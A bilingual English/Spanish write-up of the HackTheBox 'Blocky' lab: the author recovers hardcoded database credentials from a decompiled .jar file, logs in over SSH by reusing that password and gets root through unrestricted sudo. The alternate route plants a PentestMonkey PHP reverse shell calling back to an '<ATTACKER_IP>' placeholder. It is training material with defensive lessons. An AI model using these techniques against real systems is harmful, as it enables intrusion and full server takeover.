Blocky

Executive summary — Blocky is an Easy Linux box with a great lesson about secrets in code. A Minecraft-blog WordPress mentions user notch in a post, and gobuster finds a /plugins directory holding two downloadable .jar files, plus an exposed /phpmyadmin panel. Decompiling one of the .jar files reveals hardcoded MySQL credentials. That password doesn't work on the WordPress login, but it does unlock phpMyAdmin — from there an alternate path exists (rewriting notch's hash in wp_users and planting a reverse shell in the theme template) that lands as www-data, without direct access to the user flag. The clean route is simpler: notch reuses that same database password directly over SSH. Once in, unrestricted sudo gives root immediately. A WordPress → .jar → credentials → SSH → sudo → root path.

Attack map

[80] WordPress (Minecraft blog) → a post reveals user «notch»
   │  gobuster → /plugins (two downloadable .jar files), exposed /phpmyadmin
   ▼
[.jar]  decompiled BlockyCore.jar → MySQL credentials: root:8Ysqf...
   │  don't work on wp-login, DO work on /phpmyadmin
   ├─▶ (alt route) phpMyAdmin → MD5 hash in wp_users → wp-admin →
   │     reverse shell in the 404.php template → www-data (no user.txt)
   ▼
[SSH]  notch reuses that same .jar password → user.txt
   │  sudo -l → (ALL : ALL) ALL, no NOPASSWD
   ▼
[ROOT]  sudo su

1. Reconnaissance with Nmap

First, a quick full-port scan so nothing outside the usual service list slips by:

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.37 -oN nmap_all_ports.txt

-p- scans all 65535 ports, --min-rate=1000 speeds up packet sending, -Pn skips ping discovery (in case the host blocks ICMP) and -T4 raises the timing aggressiveness.

With the open ports already located, a detailed scan against those specific ports:

nmap -p21,22,80,25565 -sC -sV -A 10.10.10.37 -oN nmap_detailed.txt

21/tcp     open  ftp
22/tcp     open  ssh
80/tcp     open  http
25565/tcp  open  minecraft

-sC runs the default NSE scripts, -sV detects service versions and -A adds OS detection and traceroute. Port 25565 (Minecraft) confirms the site's theme before we even open a browser; FTP (21) and SSH (22) give up nothing without credentials, so HTTP (80) is the mandatory entry point.

Resumen ejecutivo — Blocky es una Easy de Linux con una lección estupenda sobre secretos en el código. Un WordPress de un blog de Minecraft menciona en un post al usuario notch, y gobuster descubre un directorio /plugins con dos ficheros .jar descargables, además de un panel /phpmyadmin expuesto. Al descompilar uno de los .jar aparecen credenciales de MySQL hardcodeadas. Esa contraseña no sirve en el login de WordPress, pero sí abre phpMyAdmin — desde ahí existe un camino alternativo (reescribir el hash de notch en wp_users y plantar una reverse shell en la plantilla del tema) que aterriza como www-data, sin acceso directo a la flag de usuario. El camino limpio es más simple: notch reutiliza esa misma contraseña de base de datos directamente por SSH. Una vez dentro, sudo sin restricciones da root de inmediato. Recorrido WordPress → .jar → credenciales → SSH → sudo → root.

Mapa del ataque

[80] WordPress (blog de Minecraft) → un post revela el usuario «notch»
   │  gobuster → /plugins (dos .jar descargables), /phpmyadmin expuesto
   ▼
[.jar]  BlockyCore.jar descompilado → credenciales de MySQL: root:8Ysqf...
   │  no sirven en wp-login, SÍ en /phpmyadmin
   ├─▶ (alternativa) phpMyAdmin → hash MD5 en wp_users → wp-admin →
   │     reverse shell en la plantilla 404.php → www-data (sin user.txt)
   ▼
[SSH]  notch reutiliza la misma contraseña del .jar → user.txt
   │  sudo -l → (ALL : ALL) ALL, sin NOPASSWD
   ▼
[ROOT]  sudo su

1. Reconocimiento con Nmap

Primero un escaneo rápido de todos los puertos, para no perderse nada fuera de la lista habitual de servicios:

nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.37 -oN nmap_all_ports.txt

-p- escanea los 65535 puertos, --min-rate=1000 acelera el envío de paquetes, -Pn evita el descubrimiento por ping (por si el host bloquea ICMP) y -T4 sube la agresividad del timing.

Con los puertos abiertos ya localizados, un escaneo detallado sobre esos puertos concretos:

nmap -p21,22,80,25565 -sC -sV -A 10.10.10.37 -oN nmap_detailed.txt

21/tcp     open  ftp
22/tcp     open  ssh
80/tcp     open  http
25565/tcp  open  minecraft

-sC lanza los scripts NSE por defecto, -sV detecta versiones de servicio y -A añade detección de SO y traceroute. El puerto 25565 (Minecraft) confirma la temática del sitio antes incluso de abrir el navegador; FTP (21) y SSH (22) no aportan nada sin credenciales, así que el punto de entrada obligatorio es HTTP (80).

2. Web enumeration (WordPress)

We add the domain to /etc/hosts — good practice with WordPress, since some internal links and redirects depend on the hostname, not just the IP:

echo "10.10.10.37 blocky.htb" | sudo tee -a /etc/hosts

Browsing to http://blocky.htb reveals an «under construction» Minecraft blog built on WordPress, with a Log in tab. One post mentions a user: notch. Worth noting — on HTB, names that show up «in passing» are rarely a coincidence.

We try a handful of default credentials against the login, at zero cost:

admin:admin
notch:notch
admin:password

None of them work, but we confirm notch is indeed a real user (of the blog, at least) worth keeping in mind.

3. Directory fuzzing with Gobuster

gobuster dir -u http://10.10.10.37 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50 -o gobuster_root.txt

-w is the wordlist, -x adds extensions to try on every word and -t 50 means 50 concurrent threads.

/phpmyadmin
/wp-content
/plugins
/wiki

Quick rundown of each hit: /phpmyadmin is the standard phpMyAdmin login (noted for later credential testing); /wp-content has directory listing disabled; /wiki has no relevant content.

The interesting one is /plugins: it has two downloadable .jar files. A .jar is compiled Java code — and compiled code often hides secrets its author assumed no one would ever read.

4. Decompiling the .jar files → MySQL credentials

We download both files from the /plugins directory:

mkdir jars && cd jars
wget http://10.10.10.37/plugins/BlockyCore.jar
wget http://10.10.10.37/plugins/griefprevention-1.11.2-3.1.1.298.jar

griefprevention-1.11.2-3.1.1.298.jar is a public, legitimate Minecraft Forge plugin (GriefPrevention) — unlikely to hide anything box-specific. BlockyCore.jar, on the other hand, is a custom name: the prime suspect.

A .jar is essentially a ZIP file of Java bytecode. To read the source we need to decompile it. Two options:

# Option A -- jd-gui (graphical, on Kali)
sudo apt install jd-gui -y
jd-gui BlockyCore.jar

# Option B -- extract and grep strings directly (fast, no GUI)
mkdir extracted && cd extracted
unzip ../BlockyCore.jar -d blockycore_out
grep -r -i "sql\|pass" blockycore_out/

Credentials often end up hardcoded in plain text inside the .class files, and grepping the decompiled code —or even the raw compiled binary— already shows them in the clear. Java bytecode reverts almost to the original source: decompiling isn't magic.

public String sqlHost = "localhost";
public String sqlUser = "root";
public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";

5. Confirming with WPScan

wpscan --url http://10.10.10.37 --enumerate u,vp,vt --api-token YOUR_API_TOKEN -o wpscan_result.txt

--enumerate u enumerates users, vp vulnerable plugins and vt vulnerable themes. The --api-token (free at wpscan.com) adds known-CVE detail; without it, WPScan still works, just without that extra.

The scan confirms what we already suspected and adds new context:

• Independent confirmation of user notch.
• An outdated WordPress version.
• An obsolete Twenty Seventeen theme (worth remembering for the alternate route).
• /wp-content/uploads reachable — a potential file-upload attack surface.

6. From credentials to a shell

With the .jar credentials (root:8YsqfCTnvxAUeduzjNSXe22) in hand, we test them against the panels we found: on the WordPress login they don't work; on /phpmyadmin, access granted.

6.1 Alternate route — pivoting from phpMyAdmin

Inside phpMyAdmin, the WordPress database exposes the wp_users table. Editing notch's record and typing a new password into the user_pass field with the MD5 function selected has phpMyAdmin hash it automatically on save — the exact format WordPress expects in that column:

user_pass = MD5('password123')   -- via phpMyAdmin's function dropdown

With that, we log into the WordPress panel as an administrator (notch / password123) and abuse a classic WordPress post-exploitation feature: the theme editor. Under Appearance → Theme Editor → Twenty Seventeen → 404.php we replace the content with a PentestMonkey reverse shell:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

$ip = '<ATTACKER_IP>';  // your HTB VPN IP
$port = 4444;

We paste the edited content into the WordPress editor and save (Update File). With the listener up, we force the server to load that template by hitting any non-existent path:

nc -lvnp 4444

curl http://10.10.10.37/this-does-not-exist

The request to a non-existent URL triggers the modified 404.php template, and the reverse shell connects back as the user running the web server, www-data. This route confirms the theme-editor exploitation, but www-data usually doesn't have permission to read /home/notch/user.txt directly — hence the more direct route below.

6.2 Clean route — direct SSH via password reuse

The same password leaked in the .jar is reused by user notch for SSH as well — no need to go through WordPress or phpMyAdmin at all:

ssh notch@10.10.10.37
# password: 8YsqfCTnvxAUeduzjNSXe22

cat /home/notch/user.txt

7. Privilege escalation

We check what notch can run with sudo:

sudo -l

User notch may run the following commands on blocky:
    (ALL : ALL) ALL

(ALL : ALL) ALL means notch can run any command, as any user (including root). NOPASSWD isn't needed for this to be a direct path to root: sudo will just ask for notch's own password, which we already know.

sudo su
whoami  →  root

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

Lessons learned

• Never put secrets in code: a .jar/.class file decompiles almost back to its original source and reveals the credentials as-is.
• Don't expose admin panels (phpMyAdmin) or internal directories (/plugins) without an extra layer of access control.
• The WordPress theme editor is, in practice, a built-in «upload a shell» feature for any admin: treat it as RCE surface and disable it with DISALLOW_FILE_EDIT.
• Password reuse across services (database, SSH) multiplies the impact of a single leak.
• sudo (ALL : ALL) ALL is, for all practical purposes, handing over full root: always apply the principle of least privilege.

2. Enumeración web (WordPress)

Añadimos el dominio a /etc/hosts — buena práctica con WordPress, ya que algunos enlaces internos y redirecciones dependen del hostname, no solo de la IP:

echo "10.10.10.37 blocky.htb" | sudo tee -a /etc/hosts

Al entrar a http://blocky.htb encontramos un blog de Minecraft «en construcción» hecho en WordPress, con una pestaña Log in. En una de las publicaciones se menciona un usuario: notch. Lo apuntamos — en HTB los nombres que aparecen «de pasada» casi nunca son casualidad.

Probamos un puñado de credenciales por defecto contra el login, sin coste alguno:

admin:admin
notch:notch
admin:password

Ninguna funciona, pero confirmamos que notch es, en efecto, un usuario real del sistema (o al menos del blog) a tener en cuenta más adelante.

3. Fuzzing de directorios con Gobuster

gobuster dir -u http://10.10.10.37 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50 -o gobuster_root.txt

-w es el diccionario, -x añade extensiones a probar sobre cada palabra y -t 50 son 50 hilos concurrentes.

/phpmyadmin
/wp-content
/plugins
/wiki

Repaso rápido de cada hallazgo: /phpmyadmin es el login estándar de phpMyAdmin (lo anotamos para probar credenciales más adelante); /wp-content no tiene listado de directorio habilitado; /wiki no tiene contenido relevante.

Lo interesante es /plugins: aquí hay dos ficheros .jar descargables. Un .jar es código Java compilado — y el código compilado suele esconder secretos que su autor asumió que nadie llegaría a leer.

4. Descompilar los .jar → credenciales de MySQL

Bajamos los dos ficheros del directorio /plugins:

mkdir jars && cd jars
wget http://10.10.10.37/plugins/BlockyCore.jar
wget http://10.10.10.37/plugins/griefprevention-1.11.2-3.1.1.298.jar

griefprevention-1.11.2-3.1.1.298.jar es un plugin público y legítimo de Minecraft Forge (GriefPrevention) — poco probable que esconda nada propio del reto. BlockyCore.jar, en cambio, es un nombre a medida: el sospechoso principal.

Un .jar es, en esencia, un ZIP con bytecode Java dentro. Para leer el código fuente hace falta descompilarlo. Dos opciones:

# Opción A -- jd-gui (grafico, en Kali)
sudo apt install jd-gui -y
jd-gui BlockyCore.jar

# Opción B -- extraer y grepear strings directamente (rápido, sin GUI)
mkdir extracted && cd extracted
unzip ../BlockyCore.jar -d blockycore_out
grep -r -i "sql\|pass" blockycore_out/

Muchas veces las credenciales quedan hardcodeadas en texto plano dentro de las clases .class, y con grep sobre el código descompilado —o incluso sobre el binario compilado— ya se ven en claro. El bytecode Java revierte casi al fuente original: descompilar no es magia.

public String sqlHost = "localhost";
public String sqlUser = "root";
public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";

5. Confirmación con WPScan

wpscan --url http://10.10.10.37 --enumerate u,vp,vt --api-token TU_API_TOKEN -o wpscan_result.txt

--enumerate u enumera usuarios, vp plugins vulnerables y vt temas vulnerables. El --api-token (gratuito en wpscan.com) añade detalle de CVEs conocidos; sin él, WPScan funciona igual, solo sin ese extra.

El escaneo confirma lo que ya sospechábamos y añade contexto nuevo:

• Confirmación independiente del usuario notch.
• Versión de WordPress desactualizada.
• Tema obsoleto: Twenty Seventeen (recordarlo para el camino alternativo).
• Directorio /wp-content/uploads accesible — superficie potencial de subida de ficheros.

6. De las credenciales a un shell

Con las credenciales del .jar (root:8YsqfCTnvxAUeduzjNSXe22) en la mano, las probamos contra los paneles descubiertos: en el login de WordPress no funcionan; en /phpmyadmin, acceso concedido.

6.1 Camino alternativo — pivotar desde phpMyAdmin

Dentro de phpMyAdmin, la base de datos de WordPress expone la tabla wp_users. Editando el registro de notch y escribiendo una nueva contraseña en el campo user_pass con la función MD5 seleccionada, phpMyAdmin la hashea automáticamente al guardar —el formato que WordPress espera en esa columna:

user_pass = MD5('password123')   -- vía el desplegable de función de phpMyAdmin

Con eso, entramos al panel de WordPress como administrador (notch / password123) y abusamos de una función clásica de post-explotación en WordPress: el editor de temas. En Apariencia → Editor de temas → Twenty Seventeen → 404.php reemplazamos el contenido por una reverse shell de PentestMonkey:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

$ip = '<ATTACKER_IP>';  // tu IP de la VPN de HTB
$port = 4444;

Pegamos el contenido editado en el editor de WordPress y guardamos (Actualizar archivo). Con el listener a la escucha, forzamos que el servidor cargue esa plantilla visitando cualquier ruta que no exista:

nc -lvnp 4444

curl http://10.10.10.37/esto-no-existe

La petición a una URL inexistente dispara la plantilla 404.php modificada, y la reverse shell conecta de vuelta como el usuario que corre el servidor web, www-data. Este camino confirma la explotación del editor de temas, pero www-data normalmente no tiene permisos para leer /home/notch/user.txt directamente — de ahí que el camino más directo sea el siguiente.

6.2 Camino limpio — SSH directo por reutilización de contraseña

La misma contraseña filtrada en el .jar la reutiliza el usuario notch también para SSH — sin pasar por WordPress ni por phpMyAdmin:

ssh notch@10.10.10.37
# contraseña: 8YsqfCTnvxAUeduzjNSXe22

cat /home/notch/user.txt

7. Escalada de privilegios

Comprobamos qué puede ejecutar notch con sudo:

sudo -l

User notch may run the following commands on blocky:
    (ALL : ALL) ALL

(ALL : ALL) ALL significa que notch puede ejecutar cualquier comando, como cualquier usuario (incluido root). No hace falta NOPASSWD para que esto sea un camino directo a root: sudo pedirá la propia contraseña de notch, que ya conocemos.

sudo su
whoami  →  root

cat /root/root.txt

Sistema comprometido por completo. 🏴‍☠️

Resumen de vulnerabilidades

Lecciones aprendidas

• Nunca metas secretos en el código: un .jar/.class se descompila casi al fuente original y revela las credenciales tal cual.
• No expongas paneles de administración (phpMyAdmin) ni directorios internos (/plugins) sin una capa adicional de control de acceso.
• El editor de temas de WordPress es, de facto, una función de «subir shell» para cualquier administrador: trátalo como superficie de RCE y desactívalo con DISALLOW_FILE_EDIT.
• La reutilización de contraseñas entre servicios (base de datos, SSH) multiplica el impacto de una sola fuga.
• sudo (ALL : ALL) ALL equivale en la práctica a dar root total: aplica siempre el principio de mínimo privilegio.